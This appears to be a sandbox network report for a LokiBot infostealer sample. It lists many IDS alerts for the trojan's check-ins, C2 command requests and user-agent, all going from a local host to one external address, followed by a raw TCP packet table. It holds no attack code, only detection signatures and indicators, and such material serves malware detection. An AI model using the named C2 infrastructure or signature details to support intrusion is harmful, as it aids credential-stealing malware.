04/03/24-06:37:57.435447 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49780 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:26.534492 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49816 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:17.972593 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49806 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:49.855566 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49769 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:27.224947 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49817 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:17.972593 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49806 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:12.218805 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49798 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:32.210551 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49824 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:51.947017 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49773 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:27.904801 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49818 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:37.702889 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49755 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:29.278543 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49820 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:32.210551 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49824 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:15.179954 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49802 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:49.855566 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49769 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:02.546391 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49787 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:49.062804 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49845 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:00.331066 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49784 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:02.546391 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49787 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:12.218805 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49798 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:40.804238 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49759 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:29.787077 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49745 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:19.372255 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49808 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:46.856471 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49842 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:25.036535 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49814 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:25.030663 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49741 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:46.856471 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49842 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:14.340654 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49801 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:25.036535 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49814 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:14.340654 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49801 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:42.416972 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49836 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:40.804238 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49759 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:20.890742 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49810 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:30.613047 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49746 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:10.724952 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49796 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:50.437190 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49847 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:39.122189 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49757 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:37.732709 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49832 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:43.957176 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49838 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:47.687505 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49843 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:38.419517 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49833 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:05.256073 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49789 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:05.256073 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49789 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:53.598973 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49775 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:50.546988 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49770 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:37.732709 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49832 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:50.437190 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49847 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:42.314099 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49761 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:50.546988 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49770 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:30.670976 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49822 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:18.685116 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49807 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:11.400710 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49797 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:36.358340 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49830 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:29.278543 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49820 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:38.407237 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49756 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:11.400710 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49797 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:39.111241 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49834 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:25.764699 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49742 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:59.640455 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49783 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:49.748494 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49846 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:17.269664 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49805 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:38.419517 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49833 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:03.254673 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49788 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:16.574818 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49804 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:16.574818 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49804 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:31.437871 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49747 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:39.111241 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49834 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:52.772037 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49774 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:38.407237 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49756 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:40.106892 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49835 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:20.198908 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49809 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:25.719182 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49815 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:55.108965 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49777 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:29.987306 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49821 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:35.452745 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49752 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:34.282252 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49827 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:09.892413 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49795 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:28.593679 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49819 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:47.778229 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49766 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:20.198908 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49809 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:56.219175 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49855 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:34.282252 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49827 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:56.219175 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49855 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:46.022620 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49841 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:47.778229 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49766 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:29.987306 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49821 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:31.366751 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49823 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:09.042243 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49794 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:32.914570 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49825 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:57.435447 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49780 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:32.267354 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49748 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:43.265047 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49837 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:54.423488 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49776 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:56.921190 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49856 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:43.265047 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49837 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:48.477935 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49767 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:58.810149 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49782 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:09.042243 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49794 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:54.423488 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49776 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:49.163901 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49768 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:33.093731 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49749 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:36.850228 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49754 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:25.719182 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49815 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:32.267354 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49748 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:47.687505 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49843 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:41.484457 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49760 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:43.957176 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49838 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:55.108965 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49777 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:52.638175 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49850 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:41.484457 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49760 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:42.314099 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49761 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:43.152524 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49762 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:53.324729 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49851 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:34.610079 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49751 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:08.198877 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49793 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:05.938500 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49790 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:09.892413 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49795 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:56.921190 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49856 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:48.477935 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49767 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:13.658001 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49800 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:32.914570 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49825 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:34.982502 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49828 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:55.796602 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49778 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:45.205065 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49764 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:54.842169 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49853 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:45.335995 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49840 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:34.982502 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49828 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:06.650555 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49791 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:33.791207 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49750 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:45.205065 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49764 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:33.791207 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49750 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:56.609631 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49779 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:35.672062 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49829 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:21.763703 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49811 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:06.650555 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49791 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:34.610079 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49751 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:54.009985 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49852 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:55.534565 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49854 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:23.522239 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49812 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:45.335995 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49840 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:24.205256 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49813 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:46.959263 | TCP | 2025381 | ET TROJAN LokiBot Checkin | 49765 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:54.009985 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49852 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:37:56.609631 | TCP | 2024313 | ET TROJAN LokiBot Request for C2 Commands Detected M1 | 49779 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:07.360242 | TCP | 2021641 | ET TROJAN LokiBot User-Agent (Charon/Inferno) | 49792 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:21.763703 | TCP | 2024318 | ET TROJAN LokiBot Request for C2 Commands Detected M2 | 49811 | 80 | 192.168.2.4 | 104.21.13.124 |
04/03/24-06:38:54.842169 | TCP | 2825766 | ETPRO TROJAN LokiBot Checkin M2 | 49853 | 80 | 192.168.2.4 | 104.21.13.124 |
Timestamp | Source Port | Dest Port | Source IP | Dest IP |
---|---|---|---|---|
Apr 3, 2024 06:37:19.630219936 CEST | 49738 | 443 | 192.168.2.4 | 192.178.50.78 |
Apr 3, 2024 06:37:19.630247116 CEST | 443 | 49738 | 192.178.50.78 | 192.168.2.4 |
Apr 3, 2024 06:37:19.630342960 CEST | 49738 | 443 | 192.168.2.4 | 192.178.50.78 |
Apr 3, 2024 06:37:19.639767885 CEST | 49738 | 443 | 192.168.2.4 | 192.178.50.78 |
Apr 3, 2024 06:37:19.639779091 CEST | 443 | 49738 | 192.178.50.78 | 192.168.2.4 |
Apr 3, 2024 06:37:19.973088980 CEST | 443 | 49738 | 192.178.50.78 | 192.168.2.4 |
Apr 3, 2024 06:37:19.973182917 CEST | 49738 | 443 | 192.168.2.4 | 192.178.50.78 |
Apr 3, 2024 06:37:19.973784924 CEST | 443 | 49738 | 192.178.50.78 | 192.168.2.4 |
Apr 3, 2024 06:37:19.973870039 CEST | 49738 | 443 | 192.168.2.4 | 192.178.50.78 |
Apr 3, 2024 06:37:20.018332005 CEST | 49738 | 443 | 192.168.2.4 | 192.178.50.78 |
Apr 3, 2024 06:37:20.018345118 CEST | 443 | 49738 | 192.178.50.78 | 192.168.2.4 |
Apr 3, 2024 06:37:20.018548012 CEST | 443 | 49738 | 192.178.50.78 | 192.168.2.4 |
Apr 3, 2024 06:37:20.018601894 CEST | 49738 | 443 | 192.168.2.4 | 192.178.50.78 |
Apr 3, 2024 06:37:20.022284031 CEST | 49738 | 443 | 192.168.2.4 | 192.178.50.78 |
Apr 3, 2024 06:37:20.068231106 CEST | 443 | 49738 | 192.178.50.78 | 192.168.2.4 |
Apr 3, 2024 06:37:20.328171015 CEST | 443 | 49738 | 192.178.50.78 | 192.168.2.4 |
Apr 3, 2024 06:37:20.328227997 CEST | 49738 | 443 | 192.168.2.4 | 192.178.50.78 |
Apr 3, 2024 06:37:20.328237057 CEST | 443 | 49738 | 192.178.50.78 | 192.168.2.4 |
Apr 3, 2024 06:37:20.328325987 CEST | 49738 | 443 | 192.168.2.4 | 192.178.50.78 |
Apr 3, 2024 06:37:20.328788996 CEST | 443 | 49738 | 192.178.50.78 | 192.168.2.4 |
Apr 3, 2024 06:37:20.328833103 CEST | 49738 | 443 | 192.168.2.4 | 192.178.50.78 |
Apr 3, 2024 06:37:20.328835011 CEST | 443 | 49738 | 192.178.50.78 | 192.168.2.4 |
Apr 3, 2024 06:37:20.328876972 CEST | 49738 | 443 | 192.168.2.4 | 192.178.50.78 |
Apr 3, 2024 06:37:20.336894989 CEST | 49738 | 443 | 192.168.2.4 | 192.178.50.78 |
Apr 3, 2024 06:37:20.336913109 CEST | 443 | 49738 | 192.178.50.78 | 192.168.2.4 |
Apr 3, 2024 06:37:20.504983902 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:20.505037069 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:20.505105019 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:20.505392075 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:20.505403996 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:20.901210070 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:20.901360989 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:20.904652119 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:20.904660940 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:20.904967070 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:20.905025005 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:20.905327082 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:20.952234030 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.201174974 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.201256990 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.214027882 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.214102030 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.240245104 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.240320921 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.253343105 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.253400087 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.253413916 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.253463984 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.386235952 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.386291027 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.386312008 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.386353970 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.392611027 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.392652988 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.392659903 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.392700911 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
